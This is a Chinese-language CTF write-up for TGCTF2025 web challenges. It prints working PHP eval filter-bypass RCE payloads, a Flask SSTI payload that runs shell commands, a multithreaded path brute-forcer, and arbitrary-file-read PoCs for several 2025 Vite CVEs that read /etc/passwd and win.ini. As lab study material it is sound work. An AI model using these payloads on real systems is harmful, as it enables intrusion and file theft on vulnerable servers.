TGCTF_Writeup
TGCTF2025
这比赛说他好吧,确实让我发现自己的知识点漏洞有多大(哈哈,还是过过的知识点,恨不得给自己一巴掌,差点就可以卷铺盖走人了)。说差,你吗的前端游戏我一直以为题目就是那个错误页面,第二天又开才发现是正常的前端游戏,构式靶机。。。还有一堆莫名其妙的脑洞和对电波环节,有点。。了吧
Web
AAA偷渡阴平
$tgctf2025=$_GET['tgctf2025'];
if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}
highlight_file(__FILE__);
一眼无参RCE。。网上随便找个poc过了
?tgctf2025=eval(end(current(get_defined_vars())));&jiang=system('cat /f*');
火眼辩魑魅
robots.txt
User-Agent: *
Disallow: tgupload.php
Disallow: tgshell.php
Disallow: tgxff.php
Disallow: tgser.php
Disallow: tgphp.php
Disallow: tginclude.phphttp://node1.tgctf.woooo.tech:32484/
我是唇笔所以净喜欢走弯路哈哈。。
明明题面已经说要看哪个了
稍微尝试了一下发现system,passthru这些基本都被ban了
shell=echo `cat /tg*`;
但是赛后看官方WP看红温了哈哈,官方给的是tgxff.php然后用ssti打,说是其他能打出来就是非预期哦,鉴定为史
同时上面这个shell其实直接连都可以。。。算是绕弯了
AAA偷渡阴平(复仇)
ban了无参RCE,但是一样打
$tgctf2025=$_GET['tgctf2025'];
if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}
highlight_file(__FILE__);
poc:
?tgctf2025=session_start();passthru(hex2bin(session_id()));
PHPSESSID=636174202f666c6167
直面天命
先看一眼源码
换hint
。。懒得喷,我直接pt买hint了哈哈
这里贴一下队里师傅的脚本
import requests
import itertools
import string
import time
from concurrent.futures import ThreadPoolExecutor
# 目标网站的基础URL - 使用前请替换为实际目标URL
BASE_URL = "http://node2.tgctf.woooo.tech:32010/" # 请替换为实际目标URL
# 使用所有26个小写字母
all_letters = string.ascii_lowercase # 'abcdefghijklmnopqrstuvwxyz'
# 定义测试单个路径的函数
def test_path(path):
url = BASE_URL + path
try:
response = requests.get(url, timeout=3)
# 根据状态码和响应长度来判断是否找到有效页面
status = response.status_code
length = len(response.text)
# 记录所有非404响应
if status != 404:
print(f"[+] 发现: {url} (状态码: {status}, 长度: {length})")
# 保存发现的路径到文件中
with open("found_paths.txt", "a") as f:
f.write(f"{url} (状态码: {status}, 长度: {length})\n")
# 如果是200状态码,保存响应内容以便检查
if status == 200:
with open(f"response_{path}.html", "w", encoding="utf-8") as f:
f.write(response.text)
except requests.exceptions.RequestException as e:
pass # 忽略连接错误,继续测试
return path
# 显示开始信息
print("[*] 开始爆破所有4字母路径...")
print(f"[*] 目标URL: {BASE_URL}")
print(f"[*] 总组合数: {26**4} (这可能需要一些时间)")
# 跟踪进度变量
total_combinations = 26**4 # 可能的4字母组合总数
completed = 0
start_time = time.time()
# 使用多线程加速过程
with ThreadPoolExecutor(max_workers=20) as executor:
# 生成并测试所有4字母组合
for combo in itertools.product(all_letters, repeat=4):
path = ''.join(combo)
executor.submit(test_path, path)
# 定期更新进度
completed += 1
if completed % 5000 == 0:
elapsed = time.time() - start_time
percentage = (completed / total_combinations) * 100
rate = completed / elapsed if elapsed > 0 else 0
remaining = (total_combinations - completed) / \
rate if rate > 0 else 0
print(f"[*] 进度: {completed}/{total_combinations} ({percentage:.2f}%) - "
f"已用时间: {elapsed:.1f}秒 - 预计剩余: {remaining:.1f}秒 - 速度: {rate:.1f}请求/秒")
print("[*] 爆破完成! 查看 'found_paths.txt' 获取结果。")
/aazz
…参…数……?那我问你,参数名是什么,那我问你(也有可能是我没进群所以没看到类似通知的缘故)
反正后面知道是filename(赛后知道这个也是要fuzz出来的),看名字应该就是任意文件读取了
稍微试一下啊
预期应该是抓源码的,结果哈哈
aazz?filename=../../flag
贴一个源码吧
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key
app = Flask(__name__)
black_list=['{','}','popen','os','import','eval','_','system','read','base','globals']
def waf(name):
for x in black_list:
if x in name.lower():
return True
return False
def is_typable(char):
# 定义可通过标准 QWERTY 键盘输入的字符集
typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
return char in typable_chars
def home():
return send_from_directory('static', 'index.html')
def greet():
template1=""
template2=""
name = request.form.get('name')
template = f'{name}'
if waf(name):
template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹
直面天命(复仇)
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key
app = Flask(__name__)
black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):
for x in black_list:
if x in name.lower():
return True
return False
def is_typable(char):
# 定义可通过标准 QWERTY 键盘输入的字符集
typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
return char in typable_chars
def home():
return send_from_directory('static', 'index.html')
def greet():
template1=""
template2=""
name = request.form.get('name')
template = f'{name}'
if waf(name):
template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹
Image'
else:
k=0
for i in name:
if is_typable(i):
continue
k=1
break
if k==1:
if not (secret_key[:2] in name and secret_key[2:]):
template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧
再去西行历练历练
Image'
return render_template_string(template)
template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”
最后,如果你用了cat,就可以见到齐天大圣了
"
template= template.replace("天命","{{").replace("难违","}}")
template = template
if "cat" in template:
template2 = '
或许你这只叫天命人的猴子,真的能做到?
Image'
try:
return template1+render_template_string(template)+render_template_string(template2)
except Exception as e:
error_message = f"500报错了,查询语句如下:
{template}"
return error_message, 400
def hinter():
template="hint:
有一个aazz路由,去那里看看吧,天命人!"
return render_template_string(template)
def finder():
with open(__file__, 'r') as f:
source_code = f.read()
return f"
{source_code}
", 200, {'Content-Type': 'text/html; charset=utf-8'}
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
最终paylaod
name=天命()['\x5f\x5fclass\x5f\x5f']['\x5f\x5fmro\x5f\x5f'][-1]['\x5f\x5fsubclasses\x5f\x5f']()[351]('cat ntgffff11111aaaagggggggg',shell=True,stdout=-1).communicate()[0].strip()难违
看队里师傅wp这题是能用fenjing的,有点难绷哈哈
前端游戏(复现)
CVE-2025-30208
/@fs/tgflagggg?import&raw??
/@fs/tgflagggg?raw??
前端游戏Plus (复现)
CVE-2025-31486
的复现
是一个任意文件读的漏洞
先贴出poc
/tgflagggg?.svg?.wasm?init
打完之后还尝试了一下打穿一下root
/etc/passwd?.svg?.wasm?init
看了一眼原CVE下的另一个poc
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
#https://github.com/vitejs/vite/security/advisories/GHSA-xcj6-pq6g-qj4x
这个是打不穿的,因为前面目录的名字未知,不好打,贴一下官方WP的POC
@fs/app/?/../../../../../tgflagggg?import&?raw
前端游戏Ultra(复现)
这三个前端的CVE都挺新的
CVE-2025-32395
先贴原漏洞的poc
curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173
#https://github.com/vitejs/vite/security/advisories/GHSA-356w-63v5-8wf4
这个就是真要猜测路径了哈哈(
幸好给了源码
复现的时候哈基bar应激了,换了bp打
不知道为什么官方poc给的是四个套,虽然不影响结果,但是先质疑再质疑哈
顺带看到了另一个相关的CVE,也学习一下算了
CVE-2025-31125
这个洞是利用inline的规则配合.wsam进行绕过(是对第一个CVE的补丁的绕过)
/@fs/C://windows/win.ini?import&inline=1.wasm?init
这边引用一下大佬的解释好了
除了?url和?raw还有一种内联的方法?inline,他的作用是:
将文件(如图片、字体、WASM 等)的内容转换为 Base64 编码字符串 或 直接嵌入到 JS/HTML/CSS 中,避免额外的 HTTP 请求
?init主要用于 WebAssembly(.wasm)文件的初始化,默认只有.wasm支持?init其他如.data、.bin可以通过插件拓展支持
通过这种新的方法绕过了修复后的正则过滤
//原链接https://cloud.tencent.com/developer/article/2513407